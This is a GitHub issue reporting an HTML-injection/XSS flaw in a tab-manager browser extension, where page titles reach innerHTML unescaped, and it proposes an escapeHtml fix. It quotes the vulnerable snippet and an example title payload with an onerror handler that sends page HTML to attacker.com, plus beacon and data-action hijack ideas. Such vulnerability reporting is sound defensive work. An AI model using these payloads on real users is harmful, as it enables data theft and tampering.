Skip to content

Critical: HTML injection / XSS via tab titles #36

@Haperone

Description

@Haperone

🔴 Critical: HTML injection / XSS via tab titles

File: extension/app.js
Functions: renderDomainCard(), buildOverflowChips(), renderDeferredItem(), renderArchiveItem()

Tab titles and URLs are interpolated directly into innerHTML template strings without HTML-escaping. The only sanitization is .replace(/"/g, '"') applied to attribute values — but the title is also inserted as element content:

const safeTitle = label.replace(/"/g, '"');   // only escapes quotes
return `<div ... title="${safeTitle}">
  <span class="chip-text">${label}</span>          // ← raw label, no escaping
  ...`;

Attack scenario

Any webpage the user visits controls its own document.title. A malicious page sets:

document.title = '<img src=x onerror="fetch(`https://attacker.com/steal?d=`+btoa(document.documentElement.outerHTML))">';

When the user opens a new tab (Tab Out's dashboard), chrome.tabs.query() returns this title and it gets injected into the dashboard DOM as HTML.

What's mitigated by MV3 CSP vs. what isn't

MV3's default CSP (script-src 'self') blocks inline script execution from injected HTML — so <script> and onerror handlers in injected markup are blocked. But the following still work and are real problems:

  1. Data exfiltration via image beacons<img src="https://attacker.com/log?x=..."> loads freely; a malicious page title can leak the fact you have the tab open, plus any content it can reach into via CSS selectors / sibling markup.
  2. DOM clobbering & UI spoofing — injected <form>, <a href="javascript:..."> (blocked), <a href="https://phish..."> (works), fake buttons with data-action attributes that hijack the extension's event delegation handler.
  3. Layout breakage — trivially trash the dashboard with malformed tags.

The data-action hijack is the worst non-script issue: Tab Out uses a single delegated click listener that reads data-action off the nearest ancestor. An injected <div data-action="close-all-open-tabs"> inside a tab title would close all your tabs on click.

Fix

Add an escapeHtml() helper and escape title/URL/domain everywhere they're interpolated into innerHTML:

function escapeHtml(str) {
  if (!str) return '';
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Apply to: label / safeTitle / safeUrl / domain in every innerHTML template in app.js.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions